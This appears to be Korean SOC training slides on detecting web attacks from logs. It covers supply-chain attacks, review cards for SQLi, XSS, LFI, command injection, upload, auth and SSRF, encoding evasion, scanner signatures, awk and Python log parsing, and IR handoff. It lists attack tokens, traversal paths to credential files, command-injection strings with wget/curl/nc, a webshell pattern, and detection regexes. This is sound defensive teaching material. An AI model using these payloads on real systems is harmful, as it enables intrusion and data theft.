서드파티 라이브러리, CDN, npm 패키지가 공격 벡터가 되면 애플리케이션 코드를 아무리 검토해도 탐지가 어렵다.

💥 공급망 공격 유형

CDN 하이재킹: JS 파일 변조로 XSS 삽입
npm/PyPI 악성 패키지: 의존성 감염
Third-party 스크립트: 분석 도구 악용
Magecart류: 결제 페이지 스크미밍

SOC 탐지 관점

egress 로그: 비정상 외부 도메인 JS 로딩
CSP 위반 리포트: 허용 목록 외 스크립트
브라우저 에러 로그 (APM): 비정상 스크립트 실행
SRI(Subresource Integrity): 파일 무결성 검증

⚠️ 공급망 공격은 애플리케이션 레이어 탐지만으로는 한계 — 콘텐츠 무결성 검증과 egress 모니터링 병행 필요

보강 설명공급망 공격이 웹 보안에 미치는 영향입니다.

공급망 공격third-partyCDN hijack

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX L

공격 유형별 핵심 복습 카드

강의 중 빠르게 참조하거나 복습할 때 사용하는 원페이지 요약

⏱ 참조 자료

보강 설명 강의 중 빠르게 참조하거나 복습할 때 사용하는 원페이지 요약. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

복습 카드 · SQLi

SQL Injection 핵심 복습 카드

입력이 쿼리 구조로 변하는 순간이 SQLi — 탐지의 3요소: 토큰 + 반복 + 상태코드 시퀀스

대표 토큰

OR 1=1 / UNION SELECT / ORDER BY N
SLEEP(N) / BENCHMARK() / -- / /**/
%27 / information_schema / HEX()
extractvalue() / updatexml()

탐지 체크리스트

□ decoded_uri에 SQLi 키워드
□ 동일 IP, 동일 엔드포인트 반복
□ 200/500 혼합 또는 response_time 급증
□ sqlmap / Havij UA
□ App/DB error log 연결

📌 추가 확인: DB/App 로그 → 실제 데이터 반환 여부

⚠️ 오탐: 정상 검색어, 리치텍스트, 코드 공유 사이트

보강 설명SQL Injection 핵심 복습 카드입니다.

SQLi 복습핵심 정리

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

복습 카드 · XSS

XSS 핵심 복습 카드

브라우저 안에서 실행되지만 사건은 계정과 운영에 영향 — Reflected / Stored / DOM 구분이 핵심

대표 토큰

탐지 체크리스트

□ 입력 파라미터 + 스크립트 토큰
□ POST body Stored 가능성
□ 관리자 조회 시점 외부 요청
□ 세션 IP 급변 (하이재킹)
□ DOM XSS: # 이후 파라미터

📌 Stored XSS: 입력 시점과 피해 시점 분리 — 상관 필수

⚠️ 오탐: 정상 HTML 마크업, 리치텍스트 에디터

보강 설명XSS 핵심 복습 카드입니다.

XSS 복습핵심 정리

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

복습 카드 · LFI/CMDi

LFI / CMDi 핵심 복습 카드

경로와 명령 문맥은 서버 내부를 연다 — 200만이 아니라 403/404/500도 의미가 있다

대표 토큰

LFI: ../ / %2e%2e%2f / ....// / php://filter
/etc/passwd / /var/log/ / .env
CMDi: ; / && / || / | / `cmd` / $(cmd)
whoami / id / cat / wget / curl / nc

탐지 체크리스트

□ 상위 디렉터리 이동 패턴 + 민감 파일명
□ 구분자 + 시스템 명령 조합
□ 403/404/500도 탐색 흔적
□ access + error + host 로그 연결
□ Log Poisoning: UA에 PHP 코드

📌 결합 체인: LFI + CMDi = 로그 오염 → RCE

⚠️ 오탐: 정상 CMS 경로, 파일 다운로드 기능

보강 설명LFI/CMDi 핵심 복습 카드입니다.

LFICMDi복습 카드

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

복습 카드 · PART 7

Upload / Auth / SSRF 핵심 복습 카드

정상 기능처럼 보이는 요청도 체인으로 보면 공격이 된다 — 기능 악용과 후속 행위가 핵심

핵심 패턴

Upload: POST /upload + 실행형 filename → GET shell.php?cmd=

Auth: 401×N → 302/200 전환 → /admin 접근

SSRF: url=127.0.0.1 / 169.254.169.254 → egress 아웃바운드

탐지 체크리스트

□ 업로드 후 실행 호출 체인
□ 401 반복 후 302 전환
□ 429 Rate Limit 발동
□ url= 파라미터 내부 주소
□ egress/DNS 상관분석

📌 공통: 기능 정상 목적 vs 악용 맥락 구분이 핵심

⚠️ 오탐: 정상 파일 업로드, 정상 URL fetch 기능

보강 설명Upload/WebShell/Auth/SSRF 핵심 복습 카드입니다.

WebShellAuthSSRF

체인 신호

POST /upload 뒤 GET /uploads/*.php 호출이 이어지는지 확인
?cmd=·?exec=·?c= 반복은 WebShell 전형 패턴

추가 확인

업로드 디렉토리 새 파일·해시와 최근 변경 시간 확인
apache/nginx/php-fpm 자식 프로세스 생성 여부 확인

실습 예시

MIME 위장(image/jpeg)과 확장자 검사를 분리해서 보기
실행 불가 저장 경로와 실행 가능 경로를 구분 설명하기

모듈 마무리

Module 4 완료 — 당신은 이제

웹 요청 한 줄에서 사건의 흔적을 읽고, 흐름으로 재구성하며, 다음 팀에게 행동 가능한 문장으로 전달할 수 있다.

✅ 할 수 있게 된 것

웹 아키텍처 각 계층의 로그 소스 파악
HTTP 요청의 공격 흔적 읽기
SQLi / XSS / LFI / CMDi / Upload / Auth / SSRF 패턴 식별
FPCA 프레임으로 분석 문장 작성
탐지 룰 설계와 오탐 판단

🚀 다음으로 이어지는 것

SIEM 탐지 룰 고도화
SOAR 플레이북 직접 설계
위협 인텔리전스 연동
IR 협업과 포렌식
T자형 전문성 심화

좋은 분석가는 payload를 외우는 사람이 아니라
사건 흐름을 말로 재구성하는 사람이다

보강 설명전체 모듈을 마무리하는 마지막 핵심 메시지 슬라이드입니다.

마무리핵심 메시지사건 이야기

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

APPENDIX M

HTTP 심화 — 헤더·인코딩·버전 차이

공격이 숨는 곳은 항상 HTTP 구조의 틈새다

⏱ 선택 심화 콘텐츠

보강 설명 공격이 숨는 곳은 항상 HTTP 구조의 틈새다 HTTP는 웹 공격이 결국 지나갈 수밖에 없는 공통 문법이다. Method, URI, Header, Body, Status를 문장처럼 읽는 연습이 탐지 정확도를 높인다.

Request LineHeaderResponse

핵심 포인트

Path는 기능과 리소스를, Query와 Body는 공격 입력값을 드러내는 경우가 많다
Header는 단순 메타데이터가 아니라 우회·위장·세션 탈취 단서가 된다
Response의 상태코드·바이트·지연 시간은 성공 여부 판단에 필수다

추가 확인

URL 인코딩·이중 인코딩·주석 우회가 있는지 decoded URI로 확인
POST/JSON 본문은 WAF와 App 로그에서 별도 확보할 수 있는지 확인
HTTPS 환경에서는 Access 로그만으로 보이지 않는 항목을 어느 소스로 메울지 정리

미니 실습

한 요청을 Method/Path/Query/Header/Body로 분해해 보기
401→200, 403→200, 500 반복 같은 상태 전환을 해석해 보기
인코딩 전후 문자열을 비교해 탐지 룰이 어느 단계에서 동작해야 하는지 써 보기

심화 M · HTTP

HTTP 헤더를 공격 관점으로 읽기

공격자는 헤더를 조작해 우회하거나 탐지를 피한다 — 각 헤더가 어떻게 악용될 수 있는지 알아야 한다.

공격에 활용되는 헤더

X-Forwarded-For	IP 스푸핑으로 Rate Limit 우회
Host	가상 호스트 공격, 비밀번호 재설정 링크 조작
Content-Type	파일 업로드 MIME 우회
Origin / Referer	CSRF 방어 우회 시도
Cookie	세션 고정, 토큰 변조

SOC 분석 포인트

X-Forwarded-For 조작: 짧은 시간 내 IP 다양성 이상
Host 헤더 변조: 배포 서버와 다른 Host값
Content-Type 불일치: body 실제 내용과 다름
Referer 없음: 직접 접근 또는 자동화

보강 설명HTTP 요청 헤더를 공격 관점에서 읽는 방법입니다.

HTTP 헤더X-Forwarded-ForHost 헤더 인젝션

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 M · HTTP

HTTP 인코딩 — 공격이 숨는 방식

동일한 공격도 인코딩 방식을 바꾸면 단순 문자열 탐지를 피할 수 있다 — 정규화가 핵심 방어다.

URL 인코딩 우회 계층

원본: ' OR 1=1--
1차: %27+OR+1%3D1--
2차: %2527+OR+1%253D1-- (이중)
HTML: ' OR 1=1--
UTF-8: %ef%bc%87 (전각 문자)

Base64 / 기타 인코딩

Base64: PHNjcmlwdD4= (= <script>)
Hex: 0x3c 0x73 0x63 0x72...
Unicode: \u003cscript\u003e
JSON unicode: \u0022 (= ")
CRLF: %0d%0a (헤더 인젝션)

📌 탐지 전략: raw_uri → URL decode → HTML decode → Unicode normalize → 패턴 매칭. 단계별 정규화 파이프라인 필수

보강 설명HTTP 인코딩 종류와 공격에서의 활용입니다.

URL 인코딩Base64이중 인코딩

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 M · HTTP

HTTP/2 · WebSocket · gRPC — 탐지의 차이

새로운 프로토콜은 기존 access.log 기반 탐지와 다른 관점이 필요하다.

HTTP/2 차이점

멀티플렉싱: 단일 연결에 다수 요청
헤더 압축(HPACK): 일부 WAF가 분석 어려움
요청 수 집계 방식 변화 (스트림 ID 기준)
ALB/Nginx 로그에서 버전 확인 가능

WebSocket 탐지 포인트

업그레이드 요청: Upgrade: websocket
연결 후 메시지 내용은 access.log에 없음
전용 WebSocket 로그 또는 앱 로그 필요
장기 연결 중 이상 데이터 전송 탐지 어려움

⚠️ WebSocket/gRPC 기반 앱에서는 기존 HTTP 탐지 커버리지에 blind spot이 생긴다 — 앱 레이어 로깅 강화 필요

보강 설명HTTP/2와 WebSocket이 탐지에 미치는 영향입니다.

HTTP/2WebSocketgRPC

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX N

자동화 스캐너 패턴 분석

Nikto, sqlmap, dirbuster — 자동화 도구의 로그 흔적을 읽는다

⏱ 선택 심화 콘텐츠

보강 설명 Nikto, sqlmap, dirbuster — 자동화 도구의 로그 흔적을 읽는다 자동화 도구는 짧은 시간 안에 payload를 조금씩 바꾸며 반복 테스트한다. UA만 보지 말고 변형 주기와 파라미터 변화까지 함께 보아야 한다.

sqlmap자동화반복성

대표 신호

짧은 간격의 반복 요청과 체계적인 payload 변형
조건식·ORDER BY·UNION·SLEEP이 순차적으로 나타나는 학습형 패턴
특정 도구 UA가 보이거나 헤더 구성이 비브라우저형인 경우

추가 확인

도구 UA가 없어도 시간 간격과 파라미터 변형으로 자동화를 추정
같은 IP 외에 같은 세션/토큰/대역이 동시 사용되는지 확인
WAF 차단 로그와 access.log를 붙여 우회 성공 여부 확인

미니 실습

수동 탐색과 자동화 탐색의 차이를 로그 흐름으로 구분해 보기
sqlmap 흔적이 없는 자동화를 어떤 필드로 잡을지 정리하기
rate limit이나 CAPTCHA가 적용된 뒤 공격 패턴이 어떻게 바뀌는지 상상해 보기

심화 N · 스캐너 분석

Nikto / 웹 스캐너 — access.log 패턴

자동화 스캐너는 짧은 시간에 수백~수천 개의 비정상 경로를 요청한다 — 패턴이 명확하다.

🔎 스캐너 식별 패턴

UA: Nikto, Nmap, dirbuster, gobuster
속도: 초당 10~100 요청
경로: 무작위 또는 사전 경로 대량 탐색
상태코드: 404 다수, 200/403 간헐적
Referer: 없음 또는 비정상

SOC 판단 기준

스캔 = 즉시 차단? → 맥락 확인 먼저
침투테스트 일정 여부 확인 (화이트리스트)
외부 IP 스캔 → 공격 정찰 가능성 높음
스캔 후 특정 경로 집중 재요청 → 취약점 발견 의심

📌 스캔 탐지는 High 우선순위가 아닐 수 있다 — 스캔 이후 실제 exploit 시도로 이어지는지 추적이 더 중요

보강 설명Nikto와 같은 웹 취약점 스캐너의 access.log 패턴입니다.

Nikto스캐너 패턴UA

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 N · 스캐너 분석

sqlmap — 자동화 SQLi 도구 패턴

sqlmap은 다양한 SQLi 기법을 자동으로 시도하며 특유의 UA와 패턴을 남긴다.

sqlmap 식별 시그니처

UA: sqlmap/1.x.x#stable (python-requests/x.x.x)
파라미터 변형: id=1, id=1', id=1 AND 1=1
id=1 UNION SELECT NULL, id=1 ORDER BY 1
주석 변형: --, /**/, /*!*/, #
인코딩: %27, %20, %09, %0a

탐지 룰 포인트

UA에 sqlmap 키워드
단일 파라미터에 체계적 변형 패턴
정해진 순서의 payload 시퀀스
동일 엔드포인트 수십~수백 회 반복

⚠️ sqlmap --random-agent 옵션 사용 시 UA 탐지 우회 가능 — 반복 패턴 + 상태코드 변화로 보완 탐지 필요

보강 설명sqlmap의 access.log 패턴과 식별 방법입니다.

sqlmap자동화 SQLiUA

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 N · 스캐너 분석

디렉터리 브루트포싱 — 경로 탐색 패턴

dirbuster, gobuster는 숨겨진 파일과 디렉터리를 찾기 위해 사전 기반 요청을 대량 전송한다.

🔎 패턴 특징

초당 수십~수백 GET 요청
사전 단어 기반 경로 (admin, backup, test, .git)
확장자 변형: .php, .bak, .old, .txt, .zip
상태코드: 404 다수, 200/403 히트 시 집중 재탐색

중요한 200 응답 경로 예시

/.git/config → 소스코드 유출 가능
/.env → 환경변수(DB 비밀번호) 노출
/backup.zip → 소스코드 압축 파일
/phpinfo.php → 서버 정보 노출
/wp-admin/ → CMS 관리자 패널

⚠️ 스캔 중 200 응답이 나온 경로는 즉시 조사 대상 — 민감 파일 노출 여부 확인 필수

보강 설명디렉터리 브루트포싱 도구의 패턴 분석입니다.

dirbustergobuster경로 탐색

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX O

로그 파싱 실전 기법

명령행 도구와 Python으로 access.log를 빠르게 분석하는 방법

⏱ 선택 심화 콘텐츠

보강 설명 명령행 도구와 Python으로 access.log를 빠르게 분석하는 방법. 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

심화 O · 로그 파싱

명령행으로 access.log 빠른 분석

grep, awk, sort, uniq 조합으로 대용량 access.log에서 공격 패턴을 빠르게 추출할 수 있다.

IP별 요청 수 집계

awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

상태코드별 분포

awk '{print $9}' access.log | sort | uniq -c | sort -rn

SQLi 패턴 추출

grep -iE "(union.+select|sleep\(|or.+1=1)" access.log | awk '{print $1, $7}' | head -50

404 폭증 IP 탐지

awk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn | awk '$1 > 100'

특정 IP 행동 추출

grep "185.143.223.17" access.log | awk '{print $4, $7, $9}'

User-Agent 분포

awk -F'"' '{print $6}' access.log | sort | uniq -c | sort -rn | head -10

보강 설명리눅스 명령행 도구로 access.log를 빠르게 분석하는 방법입니다.

grepawksort

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 O · 로그 파싱

Python으로 access.log 자동 분석

Python으로 로그를 파싱하면 URL 디코딩, 패턴 매칭, 시각화까지 자동화할 수 있다.

access.log 파싱 기본 패턴

import re, urllib.parse
from collections import Counter

pattern = re.compile(r'(\S+) \S+ \S+ \[(.+?)\] "(\w+) (.+?) HTTP/\S+" (\d+) (\d+) ".*?" "(.*?)"')

sqli_tokens = ['union', 'select', 'sleep', 'or 1=1', 'information_schema']

with open('access.log') as f:
  for line in f:
    m = pattern.match(line)
    if m:
      decoded = urllib.parse.unquote(m.group(4)).lower()
      if any(t in decoded for t in sqli_tokens):
        print(m.group(1), m.group(4), m.group(5))

💡 URL decode 후 소문자 변환 + 패턴 매칭 → 기본 인코딩 우회도 탐지 가능

보강 설명Python으로 access.log를 파싱해 공격 패턴을 추출하는 방법입니다.

Python로그 파싱자동화

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 O · 로그 파싱

공격 탐지용 정규식 패턴 모음

자주 쓰는 공격 탐지 정규식 — SIEM 룰, WAF 룰, Python 스크립트에 바로 활용 가능.

SQLi

XSS

LFI/Traversal

(\.\./|%2e%2e%2f|%252e%252e|\.\.%2f|etc/passwd|/var/log|php://filter|data://)

CMDi

([;&|`$]\s*(whoami|id|cat\s+|ls\s+|wget\s+|curl\s+|nc\s+)|%60|%24%28)

⚠️ 정규식은 시작점이다 — decoded URI에 적용하고, URL 인코딩 제거 후 소문자 변환 후 매칭해야 변형 우회를 잡을 수 있다

보강 설명access.log 분석 시 자주 사용하는 정규식 패턴 모음입니다.

정규식regex패턴 매칭

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX P

웹 탐지에서 사고대응으로의 연계

언제 에스컬레이션하고, 무엇을 전달하고, IR팀은 무엇을 이어서 하는가

⏱ 선택 심화 콘텐츠

보강 설명 언제 에스컬레이션하고, 무엇을 전달하고, IR팀은 무엇을 이어서 하는가. 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

심화 P · 사고대응

언제 IR에 에스컬레이션하는가

SOC는 탐지·분류·초기 대응 — IR팀은 심층 조사·복구·재발 방지. 경계를 알아야 한다.

🚨 즉시 에스컬레이션 기준

WebShell 실행 확인 (서버 장악)
데이터 대량 유출 징후
내부 측방 이동 흔적
중요 자산 침해 가능성
지속성 매커니즘 발견 (cron, 백도어)

⚠️ 판단 후 에스컬레이션 기준

인증 성공 후 관리자 권한 행사
SQLi 성공으로 DB 데이터 노출 의심
복수 시스템에서 동일 IP 공격 패턴
WAF 우회 + 실제 영향 확인 필요

💡 "확실하지 않아도 가능성이 높으면 에스컬레이션" — 늦은 에스컬레이션이 늦은 탐지보다 더 위험하다

보강 설명웹 탐지에서 IR 에스컬레이션 판단 기준입니다.

에스컬레이션IR 연계판단 기준

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향
Critical은 5분 안에 1차 판단·에스컬레이션 기준 정리

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리
다음 팀이 바로 행동할 수 있는 문장으로 기록

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증
정상 변경과 이상 징후를 함께 메모해야 오판 감소

심화 P · 사고대응

IR Handoff — 무엇을 전달하는가

IR팀이 수신하는 순간 즉시 조사를 시작할 수 있어야 한다 — 컨텍스트 전달이 핵심이다.

📋 Handoff 패키지 내용

공격 요약: 공격 IP, 유형, 시간 범위
영향 범위: 어떤 서버, 어떤 계정
수집된 증거: 로그 파일 경로, 관련 이벤트 ID
이미 취한 조치: IP 차단, 계정 잠금
미확인 사항: 추가 조사 필요한 부분
긴급도 판단: 왜 지금 에스컬레이션하는가

✅ 좋은 Handoff 예시

"172.104.81.55이 2024-03-15 14:23~14:55에 /upload를 통해 shell.php를 업로드 (POST 200) 후 cmd=whoami, cat /etc/passwd를 실행 (GET 200). 웹 서버 WEB-PROD-01 대상. IP 차단 완료, 파일 삭제 미완료. EDR 프로세스 로그 미확인. 즉시 서버 격리 및 포렌식 요청."

보강 설명SOC에서 IR팀으로 Handoff 할 때 전달해야 할 정보입니다.

IR Handoff전달 정보컨텍스트 전달

보고서에 꼭 넣을 것

누가·언제·어디를 공격했는지 1문장 요약
근거 필드(URI/status/bytes/UA)를 본문에 명시
즉시 조치와 추가 확인을 분리 작성

좋은 문장의 기준

단정 표현보다 “성공 가능성/추정 근거”를 함께 제시
오탐 가능성과 자산 중요도를 빠뜨리지 않기
다음 팀이 바로 움직일 수 있게 요청사항까지 포함

짧은 실습

현재 페이지 내용을 3문장 handoff로 다시 써 보기
IR/개발/WAF 운영 중 누구에게 보낼지 적기
추가로 필요한 로그 1가지를 꼭 덧붙이기

심화 P · 사고대응

웹 공격 사고대응 단계 — PICERL

Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned

탐지팀 관련 단계

Preparation: 탐지 룰, SOAR 플레이북, 아티팩트 준비
Identification: 알람 수신, Triage, 에스컬레이션
Containment: IP 차단, 계정 잠금, 세션 종료

IR팀 주도 단계

Eradication: WebShell 제거, 취약점 패치
Recovery: 서비스 복구, 무결성 검증
Lessons Learned: 재발 방지, 탐지 룰 개선

💡 Lessons Learned의 결과물은 반드시 탐지팀에 피드백 — 이 사건에서 어떤 룰이 없었는지, 무엇을 추가해야 하는지

보강 설명웹 공격 사고 대응 체계와 단계별 활동입니다.

사고대응PICERL봉쇄

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

심화 P · 사고대응

웹 사고 후 포렌식 아티팩트 수집

사고가 확인되면 증거 보존이 최우선 — 덮어쓰기 전에 핵심 아티팩트를 확보해야 한다.

🚨 휘발성 순서 (빠른 것부터)

메모리 덤프 (실행 중 프로세스, 연결)
네트워크 연결 상태 (netstat)
실행 중 프로세스 목록
최근 로그인, 열린 파일
디스크 이미징 (마지막)

웹 특화 아티팩트

access.log + error.log (로테이션 전)
업로드 디렉터리 파일 목록 + 해시
웹 루트 최근 생성/변경 파일
WAF 로그 (차단/허용 이력)
앱 서버 세션 데이터

⚠️ 증거 무결성: 수집 즉시 SHA-256 해시 기록. 원본 변경 금지. Chain of Custody 유지.

보강 설명웹 사고 후 포렌식 아티팩트 수집 방법입니다.

디지털 포렌식아티팩트증거 보존

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

복습 · 데이터 모델

웹 탐지 SIEM 데이터 모델 설계 원칙

어떤 필드를 어떻게 정규화하느냐가 탐지 품질의 절반을 결정한다.

핵심 설계 원칙

raw_uri와 decoded_uri 모두 보존
src_ip vs xff_ip 분리 저장
status는 int 타입으로 (문자열 X)
timestamp는 UTC + epoch 둘 다
session_id, account로 행위 추적 가능하게

상관분석 핵심 키

src_ip: IP 기반 행위 추적
session_id: 세션 기반 행위 추적
account: 계정 기반 행위 추적
asset_id: 자산 기반 영향 분석
waf_rule_id: 차단/허용 상관

📌 상관분석은 공통 키가 없으면 불가능 — 수집 설계 단계에서 correlation key를 반드시 정의한다

보강 설명웹 공격 탐지를 위한 SIEM 데이터 모델 설계 복습입니다.

데이터 모델SIEM필드 설계

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

복습 · 오탐 튜닝

오탐 유형별 튜닝 방법

